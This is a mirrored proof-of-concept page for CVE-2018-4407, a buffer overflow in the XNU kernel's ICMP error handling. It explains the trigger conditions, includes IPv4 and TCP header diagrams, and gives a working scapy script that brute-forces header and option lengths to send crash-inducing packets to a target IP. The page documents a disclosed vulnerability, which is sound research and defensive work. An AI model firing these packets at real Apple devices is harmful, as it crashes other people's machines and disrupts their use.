Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2018-4407 PoC — 多款Apple产品 Kernel 缓冲区错误漏洞

Source
Associated Vulnerability
Title:多款Apple产品 Kernel 缓冲区错误漏洞 (CVE-2018-4407)
Description:Apple macOS High Sierra等都是美国苹果(Apple)公司的一套专为Mac计算机所开发的专用操作系统。 Apple macOS Sierra 10.12.6版本和macOS High Sierra 10.13.6版本中的Kernel组件存在安全漏洞。攻击者可利用该漏洞执行任意代码(内存损坏)。
Description
A buffer overflow vulnerability in the XNU kernel's ICMP error code causes IOS devices to crash (laptops and mobiles).
Readme
# CVE-2018-4407

CVE-2018-4407 is a buffer overflow vulnerability in the XNU kernel's ICMP error code. It causes IOS
devices to crash (both laptops and mobiles) upon receival of one (yes 1!) single bad packet.

The bug was originally disclosured by Kevin Backhouse on his 
[lgtm blogpost](https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407?__hstc=70225743.c14ec128e27e741847669a8911ba1349.1541100129351.1541102908486.1541229372799.3&__hssc=70225743.1.1541229372799&__hsfp=3267467660)
on October 30th 2018.

The code in this repo is a proof of concept of the CVE-2018-4407 exploit implemented in python, using scapy and nmap.


## Debugging

Some steps of my debugging process. A look in the XNU kernel code leads to the numbers for `iphlen` and `tcphlen`
that may trigger the buffer overflow.
As Backhouse said we must have `icmplen > 84` and it appears we should get into the code branch
`if(oip->ip_p == IPPROTO_TCP)` to achieve that. A TCP packet would trigger this vulnerability. 

![alt text](https://github.com/lucagiovagnoli/CVE-2018-4407/blob/master/XNU_kernel_diff.png)

### IPv4 header format [[RFC 791](https://tools.ietf.org/html/rfc791)]

An IPv4 header goes from a minimum of 20 bytes up to 36 bytes (depending on options).
- `IHL`: is the IP header length, including options. It also indicates where the payload starts.
- `Total Length`: would be the total length of the IP packet (including IP header and TCP payload).

```
      0               1               2               3
      0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  0  |Version|  IHL  |Type of Service|          Total Length         |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  4  |         Identification        |Flags|      Fragment Offset    | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  8  |  Time to Live |    Protocol   |         Header Checksum       | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 12  |                       Source Address                          | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 16  |                    Destination Address                        | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 20  |                    Options (up to 16B)        |    Padding    | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```

### TCP header format [[RFC 793](https://tools.ietf.org/html/rfc793#page-15)]

A TCP header goes from a minimum of 20 bytes to 60 bytes (options can be up to 40 bytes).
- `Data offset`: indicates where the data starts and can be also seen as the header length.

```
      0               1               2               3
      0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  0  |          Source Port          |       Destination Port        |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  4  |                        Sequence Number                        |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  8  |                    Acknowledgment Number                      |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
     |  Data |           |U|A|P|R|S|F|                               |
 12  | Offset| Reserved  |R|C|S|S|Y|I|            Window             |
     |       |           |G|K|H|T|N|N|                               |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 16  |           Checksum            |         Urgent Pointer        |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 20  |                    Options (up to 40B)        |    Padding    |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```

## Bruteforce approach
It is not necessary to go so deep into the XNU code. A simple scapy script, that manually tries various 
header lengths, can be used too:
```python
MIN_IPHLEN = 20
MIN_TCPHLEN = 20
DST_IP = #<IP_ADDRESS>

for ip_opt_len in range(0, 60):
    for tcp_opt_len in range (0, 60):
        iphlen = ip_opt_len + MIN_IPHLEN
        tcphlen = tcp_opt_len + MIN_TCPHLEN
        total_ip_len = tcphlen + iphlen
        
        send(IP(
            ihl=iphlen/4,
            len=total_ip_len,
            dst=DST_IP,
            options=IPOption("a" * ip_opt_len)
        )/TCP(
            dataofs=15,
            options = [("NOP", None)] * tcp_opt_len
        ))
```





File Snapshot

[4.0K] /data/pocs/a3310c551d2c9e040f0a89dd4921297a330cb85b ├── [ 845] CVE-2018-4407_exploit.py ├── [4.5K] README.md └── [1.2M] XNU_kernel_diff.png 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.